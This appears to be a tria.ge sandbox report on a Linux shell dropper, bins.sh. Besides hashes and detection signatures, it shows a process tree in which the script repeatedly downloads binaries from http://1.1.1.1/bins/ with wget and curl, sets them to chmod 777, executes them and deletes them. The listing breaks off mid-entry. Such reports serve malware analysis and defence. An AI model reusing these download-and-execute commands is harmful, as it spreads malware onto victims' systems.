Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

7

Static

static

1

bins.sh

ubuntu-18.04-amd64

7

bins.sh

debian-9-armhf

1

bins.sh

debian-9-mips

bins.sh

debian-9-mipsel

Analysis

  • max time kernel
    20s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21/05/2024, 05:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    7KB

  • MD5

    2b208b42b087fcaa5de8c84ff9bc567c

  • SHA1

    0ac6f73e62a45f6a682660252b9c8f110c8b6efd

  • SHA256

    3f30e342a9d9e87f1570cd24f51c25206426231faec2369b91c927ae1c7070c9

  • SHA512

    67b32300b3663647d07cf90d14f5678be73994802ad372151102495543d98572a27c85aa6c8cc7fd0f2c06801c43c6332a7dfbcf5c9b6291b6da78f9bae53320

  • SSDEEP

    96:XJc9nY8Iu7v2C9vR8EDN34wWOQ/BBJcH93YcLm+Iu7iJRa1gQGn5mvR8EPnN34wR:XJc9XLvR8EDN34wsJcDSCvR8EvN34wR

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 44 IoCs
  • Writes file to tmp directory 44 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://1.1.1.1/bins/7z3YX2ZRrPkf
          2⤵
            PID:1508
          • /usr/bin/curl
            curl -O http://1.1.1.1/bins/7z3YX2ZRrPkf
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/chmod
            chmod 777 7z3YX2ZRrPkf
            2⤵
              PID:1516
            • /tmp/7z3YX2ZRrPkf
              ./7z3YX2ZRrPkf
              2⤵
              • Executes dropped EXE
              PID:1517
            • /bin/sh
              /bin/sh ./7z3YX2ZRrPkf
              2⤵
                PID:1517
              • /bin/rm
                rm 7z3YX2ZRrPkf
                2⤵
                  PID:1518
                • /usr/bin/wget
                  wget http://1.1.1.1/bins/3I8g5yO42xhH
                  2⤵
                    PID:1519
                  • /usr/bin/curl
                    curl -O http://1.1.1.1/bins/3I8g5yO42xhH
                    2⤵
                    • Writes file to tmp directory
                    PID:1520
                  • /bin/chmod
                    chmod 777 3I8g5yO42xhH
                    2⤵
                      PID:1524
                    • /tmp/3I8g5yO42xhH
                      ./3I8g5yO42xhH
                      2⤵
                      • Executes dropped EXE
                      PID:1525
                    • /bin/sh
                      /bin/sh ./3I8g5yO42xhH
                      2⤵
                        PID:1525
                      • /bin/rm
                        rm 3I8g5yO42xhH
                        2⤵
                          PID:1526
                        • /usr/bin/wget
                          wget http://1.1.1.1/bins/A5i02Gn0VA28
                          2⤵
                            PID:1527
                          • /usr/bin/curl
                            curl -O http://1.1.1.1/bins/A5i02Gn0VA28
                            2⤵
                            • Writes file to tmp directory
                            PID:1528
                          • /bin/chmod
                            chmod 777 A5i02Gn0VA28
                            2⤵
                              PID:1532
                            • /tmp/A5i02Gn0VA28
                              ./A5i02Gn0VA28
                              2⤵
                              • Executes dropped EXE
                              PID:1533
                            • /bin/sh
                              /bin/sh ./A5i02Gn0VA28
                              2⤵
                                PID:1533
                              • /bin/rm
                                rm A5i02Gn0VA28
                                2⤵
                                  PID:1534
                                • /usr/bin/wget
                                  wget http://1.1.1.1/bins/9m5X7bxH0M8M
                                  2⤵
                                    PID:1535
                                  • /usr/bin/curl
                                    curl -O http://1.1.1.1/bins/9m5X7bxH0M8M
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1536
                                  • /bin/chmod
                                    chmod 777 9m5X7bxH0M8M
                                    2⤵
                                      PID:1540
                                    • /tmp/9m5X7bxH0M8M
                                      ./9m5X7bxH0M8M
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1541
                                    • /bin/sh
                                      /bin/sh ./9m5X7bxH0M8M
                                      2⤵
                                        PID:1541
                                      • /bin/rm
                                        rm 9m5X7bxH0M8M
                                        2⤵
                                          PID:1542
                                        • /usr/bin/wget
                                          wget http://1.1.1.1/bins/nS4nt37Oor0Q
                                          2⤵
                                            PID:1543
                                          • /usr/bin/curl
                                            curl -O http://1.1.1.1/bins/nS4nt37Oor0Q
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1544
                                          • /bin/chmod
                                            chmod 777 nS4nt37Oor0Q
                                            2⤵
                                              PID:1548
                                            • /tmp/nS4nt37Oor0Q
                                              ./nS4nt37Oor0Q
                                              2⤵
                                              • Executes dropped EXE
                                              PID:1549
                                            • /bin/sh
                                              /bin/sh ./nS4nt37Oor0Q
                                              2⤵
                                                PID:1549
                                              • /bin/rm
                                                rm nS4nt37Oor0Q
                                                2⤵
                                                  PID:1550
                                                • /usr/bin/wget
                                                  wget http://1.1.1.1/bins/3Uzh29sFxCKi
                                                  2⤵
                                                    PID:1551
                                                  • /usr/bin/curl
                                                    curl -O http://1.1.1.1/bins/3Uzh29sFxCKi
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1552
                                                  • /bin/chmod
                                                    chmod 777 3Uzh29sFxCKi
                                                    2⤵
                                                      PID:1556
                                                    • /tmp/3Uzh29sFxCKi
                                                      ./3Uzh29sFxCKi
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1557
                                                    • /bin/sh
                                                      /bin/sh ./3Uzh29sFxCKi
                                                      2⤵
                                                        PID:1557
                                                      • /bin/rm
                                                        rm 3Uzh29sFxCKi
                                                        2⤵
                                                          PID:1558
                                                        • /usr/bin/wget
                                                          wget http://1.1.1.1/bins/g5J58UFe6c28
                                                          2⤵
                                                            PID:1559
                                                          • /usr/bin/curl
                                                            curl -O http://1.1.1.1/bins/g5J58UFe6c28
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1560
                                                          • /bin/chmod
                                                            chmod 777 g5J58UFe6c28
                                                            2⤵
                                                              PID:1564
                                                            • /tmp/g5J58UFe6c28
                                                              ./g5J58UFe6c28
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:1565
                                                            • /bin/sh
                                                              /bin/sh ./g5J58UFe6c28
                                                              2⤵
                                                                PID:1565
                                                              • /bin/rm
                                                                rm g5J58UFe6c28
                                                                2⤵
                                                                  PID:1566
                                                                • /usr/bin/wget
                                                                  wget http://1.1.1.1/bins/99t5WUMNveDL
                                                                  2⤵
                                                                    PID:1567
                                                                  • /usr/bin/curl
                                                                    curl -O http://1.1.1.1/bins/99t5WUMNveDL
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1568
                                                                  • /bin/chmod
                                                                    chmod 777 99t5WUMNveDL
                                                                    2⤵
                                                                      PID:1572
                                                                    • /tmp/99t5WUMNveDL
                                                                      ./99t5WUMNveDL
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:1573
                                                                    • /bin/sh
                                                                      /bin/sh ./99t5WUMNveDL
                                                                      2⤵
                                                                        PID:1573
                                                                      • /bin/rm
                                                                        rm 99t5WUMNveDL
                                                                        2⤵
                                                                          PID:1574
                                                                        • /usr/bin/wget
                                                                          wget http://1.1.1.1/bins/75R29N7x4smz
                                                                          2⤵
                                                                            PID:1575
                                                                          • /usr/bin/curl
                                                                            curl -O http://1.1.1.1/bins/75R29N7x4smz
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:1576
                                                                          • /bin/chmod
                                                                            chmod 777 75R29N7x4smz
                                                                            2⤵
                                                                              PID:1580
                                                                            • /tmp/75R29N7x4smz
                                                                              ./75R29N7x4smz
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1581
                                                                            • /bin/sh
                                                                              /bin/sh ./75R29N7x4smz
                                                                              2⤵
                                                                                PID:1581
                                                                              • /bin/rm
                                                                                rm 75R29N7x4smz
                                                                                2⤵
                                                                                  PID:1582
                                                                                • /usr/bin/wget
                                                                                  wget http://1.1.1.1/bins/6DqAV97MRI5l
                                                                                  2⤵
                                                                                    PID:1583
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://1.1.1.1/bins/6DqAV97MRI5l
                                                                                    2⤵
                                                                                    • Writes file to tmp directory
                                                                                    PID:1584
                                                                                  • /bin/chmod
                                                                                    chmod 777 6DqAV97MRI5l
                                                                                    2⤵
                                                                                      PID:1588
                                                                                    • /tmp/6DqAV97MRI5l
                                                                                      ./6DqAV97MRI5l
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1589
                                                                                    • /bin/sh
                                                                                      /bin/sh ./6DqAV97MRI5l
                                                                                      2⤵
                                                                                        PID:1589
                                                                                      • /bin/rm
                                                                                        rm 6DqAV97MRI5l
                                                                                        2⤵
                                                                                          PID:1590
                                                                                        • /usr/bin/wget
                                                                                          wget http://1.1.1.1/bins/a9B3p9KryWWr
                                                                                          2⤵
                                                                                            PID:1591
                                                                                          • /usr/bin/curl
                                                                                            curl -O http://1.1.1.1/bins/a9B3p9KryWWr
                                                                                            2⤵
                                                                                            • Writes file to tmp directory
                                                                                            PID:1592
                                                                                          • /bin/chmod
                                                                                            chmod 777 a9B3p9KryWWr
                                                                                            2⤵
                                                                                              PID:1596
                                                                                            • /tmp/a9B3p9KryWWr
                                                                                              ./a9B3p9KryWWr
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1597
                                                                                            • /bin/sh
                                                                                              /bin/sh ./a9B3p9KryWWr
                                                                                              2⤵
                                                                                                PID:1597
                                                                                              • /bin/rm
                                                                                                rm a9B3p9KryWWr
                                                                                                2⤵
                                                                                                  PID:1598
                                                                                                • /usr/bin/wget
                                                                                                  wget http://1.1.1.1/bins/Keg853zjVUWW
                                                                                                  2⤵
                                                                                                    PID:1599
                                                                                                  • /usr/bin/curl
                                                                                                    curl -O http://1.1.1.1/bins/Keg853zjVUWW
                                                                                                    2⤵
                                                                                                    • Writes file to tmp directory
                                                                                                    PID:1600
                                                                                                  • /bin/chmod
                                                                                                    chmod 777 Keg853zjVUWW
                                                                                                    2⤵
                                                                                                      PID:1604
                                                                                                    • /tmp/Keg853zjVUWW
                                                                                                      ./Keg853zjVUWW
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:1605
                                                                                                    • /bin/sh
                                                                                                      /bin/sh ./Keg853zjVUWW
                                                                                                      2⤵
                                                                                                        PID:1605
                                                                                                      • /bin/rm
                                                                                                        rm Keg853zjVUWW
                                                                                                        2⤵
                                                                                                          PID:1606
                                                                                                        • /usr/bin/wget
                                                                                                          wget http://1.1.1.1/bins/A9m2V5O178xc
                                                                                                          2⤵
                                                                                                            PID:1607
                                                                                                          • /usr/bin/curl
                                                                                                            curl -O http://1.1.1.1/bins/A9m2V5O178xc
                                                                                                            2⤵
                                                                                                            • Writes file to tmp directory
                                                                                                            PID:1608
                                                                                                          • /bin/chmod
                                                                                                            chmod 777 A9m2V5O178xc
                                                                                                            2⤵
                                                                                                              PID:1612
                                                                                                            • /tmp/A9m2V5O178xc
                                                                                                              ./A9m2V5O178xc
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:1613
                                                                                                            • /bin/sh
                                                                                                              /bin/sh ./A9m2V5O178xc
                                                                                                              2⤵
                                                                                                                PID:1613
                                                                                                              • /bin/rm
                                                                                                                rm A9m2V5O178xc
                                                                                                                2⤵
                                                                                                                  PID:1614
                                                                                                                • /usr/bin/wget
                                                                                                                  wget http://1.1.1.1/bins/7n0Oym3K50gk
                                                                                                                  2⤵
                                                                                                                    PID:1615
                                                                                                                  • /usr/bin/curl
                                                                                                                    curl -O http://1.1.1.1/bins/7n0Oym3K50gk
                                                                                                                    2⤵
                                                                                                                    • Writes file to tmp directory
                                                                                                                    PID:1616
                                                                                                                  • /bin/chmod
                                                                                                                    chmod 777 7n0Oym3K50gk
                                                                                                                    2⤵
                                                                                                                      PID:1620
                                                                                                                    • /tmp/7n0Oym3K50gk
                                                                                                                      ./7n0Oym3K50gk
                                                                                                                      2⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:1621
                                                                                                                    • /bin/sh
                                                                                                                      /bin/sh ./7n0Oym3K50gk
                                                                                                                      2⤵
                                                                                                                        PID:1621
                                                                                                                      • /bin/rm
                                                                                                                        rm 7n0Oym3K50gk
                                                                                                                        2⤵
                                                                                                                          PID:1622
                                                                                                                        • /usr/bin/wget
                                                                                                                          wget http://1.1.1.1/bins/eB36T1Vz1BR7
                                                                                                                          2⤵
                                                                                                                            PID:1623
                                                                                                                          • /usr/bin/curl
                                                                                                                            curl -O http://1.1.1.1/bins/eB36T1Vz1BR7
                                                                                                                            2⤵
                                                                                                                            • Writes file to tmp directory
                                                                                                                            PID:1627
                                                                                                                          • /bin/chmod
                                                                                                                            chmod 777 eB36T1Vz1BR7
                                                                                                                            2⤵
                                                                                                                              PID:1628
                                                                                                                            • /tmp/eB36T1Vz1BR7
                                                                                                                              ./eB36T1Vz1BR7
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1629
                                                                                                                            • /bin/sh
                                                                                                                              /bin/sh ./eB36T1Vz1BR7
                                                                                                                              2⤵
                                                                                                                                PID:1629
                                                                                                                              • /bin/rm
                                                                                                                                rm eB36T1Vz1BR7
                                                                                                                                2⤵
                                                                                                                                  PID:1630
                                                                                                                                • /usr/bin/wget
                                                                                                                                  wget http://1.1.1.1/bins/d0S83KAM9zlX
                                                                                                                                  2⤵
                                                                                                                                    PID:1631
                                                                                                                                  • /usr/bin/curl
                                                                                                                                    curl -O http://1.1.1.1/bins/d0S83KAM9zlX
                                                                                                                                    2⤵
                                                                                                                                    • Writes file to tmp directory
                                                                                                                                    PID:1632
                                                                                                                                  • /bin/chmod
                                                                                                                                    chmod 777 d0S83KAM9zlX
                                                                                                                                    2⤵
                                                                                                                                      PID:1636
                                                                                                                                    • /tmp/d0S83KAM9zlX
                                                                                                                                      ./d0S83KAM9zlX
                                                                                                                                      2⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:1637
                                                                                                                                    • /bin/sh
                                                                                                                                      /bin/sh ./d0S83KAM9zlX
                                                                                                                                      2⤵
                                                                                                                                        PID:1637
                                                                                                                                      • /bin/rm
                                                                                                                                        rm d0S83KAM9zlX
                                                                                                                                        2⤵
                                                                                                                                          PID:1638
                                                                                                                                        • /usr/bin/wget
                                                                                                                                          wget http://1.1.1.1/bins/r47rVZNa4P5H
                                                                                                                                          2⤵
                                                                                                                                            PID:1639
                                                                                                                                          • /usr/bin/curl
                                                                                                                                            curl -O http://1.1.1.1/bins/r47rVZNa4P5H
                                                                                                                                            2⤵
                                                                                                                                            • Writes file to tmp directory
                                                                                                                                            PID:1640
                                                                                                                                          • /bin/chmod
                                                                                                                                            chmod 777 r47rVZNa4P5H
                                                                                                                                            2⤵
                                                                                                                                              PID:1644
                                                                                                                                            • /tmp/r47rVZNa4P5H
                                                                                                                                              ./r47rVZNa4P5H
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1645
                                                                                                                                            • /bin/sh
                                                                                                                                              /bin/sh ./r47rVZNa4P5H
                                                                                                                                              2⤵
                                                                                                                                                PID:1645
                                                                                                                                              • /bin/rm
                                                                                                                                                rm r47rVZNa4P5H
                                                                                                                                                2⤵
                                                                                                                                                  PID:1646
                                                                                                                                                • /usr/bin/wget
                                                                                                                                                  wget http://1.1.1.1/bins/xD39YVDoU52O
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1647
                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                    curl -O http://1.1.1.1/bins/xD39YVDoU52O
                                                                                                                                                    2⤵
                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                    PID:1656
                                                                                                                                                  • /bin/chmod
                                                                                                                                                    chmod 777 xD39YVDoU52O
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1660
                                                                                                                                                    • /tmp/xD39YVDoU52O
                                                                                                                                                      ./xD39YVDoU52O
                                                                                                                                                      2⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:1661
                                                                                                                                                    • /bin/sh
                                                                                                                                                      /bin/sh ./xD39YVDoU52O
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1661
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm xD39YVDoU52O
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1662
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget http://1.1.1.1/bins/412LyNzMjQhY
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1663
                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                            curl -O http://1.1.1.1/bins/412LyNzMjQhY
                                                                                                                                                            2⤵
                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                            PID:1664
                                                                                                                                                          • /bin/chmod
                                                                                                                                                            chmod 777 412LyNzMjQhY
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1668
                                                                                                                                                            • /tmp/412LyNzMjQhY
                                                                                                                                                              ./412LyNzMjQhY
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:1669
                                                                                                                                                            • /bin/sh
                                                                                                                                                              /bin/sh ./412LyNzMjQhY
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1669
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm 412LyNzMjQhY
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1670
                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                  wget http://1.1.1.1/bins/z06C2GvUPwgU
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1671
                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                    curl -O http://1.1.1.1/bins/z06C2GvUPwgU
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                    PID:1679
                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                    chmod 777 z06C2GvUPwgU
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1680
                                                                                                                                                                    • /tmp/z06C2GvUPwgU
                                                                                                                                                                      ./z06C2GvUPwgU
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:1681
                                                                                                                                                                    • /bin/sh
                                                                                                                                                                      /bin/sh ./z06C2GvUPwgU
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1681
                                                                                                                                                                      • /bin/rm
                                                                                                                                                                        rm z06C2GvUPwgU
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1682
                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                          wget http://1.1.1.1/bins/0hGdo5jn8Uh4
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1683
                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                            curl -O http://1.1.1.1/bins/0hGdo5jn8Uh4
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                            PID:1684
                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                            chmod 777 0hGdo5jn8Uh4
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1688
                                                                                                                                                                            • /tmp/0hGdo5jn8Uh4
                                                                                                                                                                              ./0hGdo5jn8Uh4
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:1689
                                                                                                                                                                            • /bin/sh
                                                                                                                                                                              /bin/sh ./0hGdo5jn8Uh4
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1689
                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                rm 0hGdo5jn8Uh4
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1690
                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                  wget http://1.1.1.1/bins/Fl78L8jypOEM
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1691
                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                    curl -O http://1.1.1.1/bins/Fl78L8jypOEM
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                    PID:1692
                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                    chmod 777 Fl78L8jypOEM
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1696
                                                                                                                                                                                    • /tmp/Fl78L8jypOEM
                                                                                                                                                                                      ./Fl78L8jypOEM
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:1697
                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                      /bin/sh ./Fl78L8jypOEM
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1697
                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                        rm Fl78L8jypOEM
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1698
                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                          wget http://1.1.1.1/bins/7z3YX2ZRrPkf
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1699
                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                            curl -O http://1.1.1.1/bins/7z3YX2ZRrPkf
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                            PID:1700
                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                            chmod 777 7z3YX2ZRrPkf
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1704
                                                                                                                                                                                            • /tmp/7z3YX2ZRrPkf
                                                                                                                                                                                              ./7z3YX2ZRrPkf
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              PID:1705
                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                              /bin/sh ./7z3YX2ZRrPkf
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1705
                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                rm 7z3YX2ZRrPkf
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1706
                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                  wget http://1.1.1.1/bins/3I8g5yO42xhH
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1707
                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/3I8g5yO42xhH
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                    PID:1708
                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                    chmod 777 3I8g5yO42xhH
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1712
                                                                                                                                                                                                    • /tmp/3I8g5yO42xhH
                                                                                                                                                                                                      ./3I8g5yO42xhH
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:1713
                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                      /bin/sh ./3I8g5yO42xhH
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1713
                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                        rm 3I8g5yO42xhH
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1714
                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                          wget http://1.1.1.1/bins/A5i02Gn0VA28
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1715
                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/A5i02Gn0VA28
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                            PID:1716
                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                            chmod 777 A5i02Gn0VA28
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1720
                                                                                                                                                                                                            • /tmp/A5i02Gn0VA28
                                                                                                                                                                                                              ./A5i02Gn0VA28
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:1721
                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                              /bin/sh ./A5i02Gn0VA28
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1721
                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                rm A5i02Gn0VA28
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1722
                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                  wget http://1.1.1.1/bins/9m5X7bxH0M8M
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1723
                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/9m5X7bxH0M8M
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                    PID:1727
                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                    chmod 777 9m5X7bxH0M8M
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1728
                                                                                                                                                                                                                    • /tmp/9m5X7bxH0M8M
                                                                                                                                                                                                                      ./9m5X7bxH0M8M
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:1729
                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                      /bin/sh ./9m5X7bxH0M8M
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1729
                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                        rm 9m5X7bxH0M8M
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1730
                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                          wget http://1.1.1.1/bins/nS4nt37Oor0Q
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1731
                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/nS4nt37Oor0Q
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                            PID:1732
                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                            chmod 777 nS4nt37Oor0Q
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1736
                                                                                                                                                                                                                            • /tmp/nS4nt37Oor0Q
                                                                                                                                                                                                                              ./nS4nt37Oor0Q
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:1737
                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                              /bin/sh ./nS4nt37Oor0Q
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1737
                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                rm nS4nt37Oor0Q
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1738
                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/3Uzh29sFxCKi
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1739
                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/3Uzh29sFxCKi
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                    PID:1743
                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                    chmod 777 3Uzh29sFxCKi
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1744
                                                                                                                                                                                                                                    • /tmp/3Uzh29sFxCKi
                                                                                                                                                                                                                                      ./3Uzh29sFxCKi
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:1745
                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                      /bin/sh ./3Uzh29sFxCKi
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1745
                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                        rm 3Uzh29sFxCKi
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1746
                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/g5J58UFe6c28
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1747
                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/g5J58UFe6c28
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                            PID:1751
                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                            chmod 777 g5J58UFe6c28
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1752
                                                                                                                                                                                                                                            • /tmp/g5J58UFe6c28
                                                                                                                                                                                                                                              ./g5J58UFe6c28
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              PID:1753
                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                              /bin/sh ./g5J58UFe6c28
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1753
                                                                                                                                                                                                                                              • /bin/rm
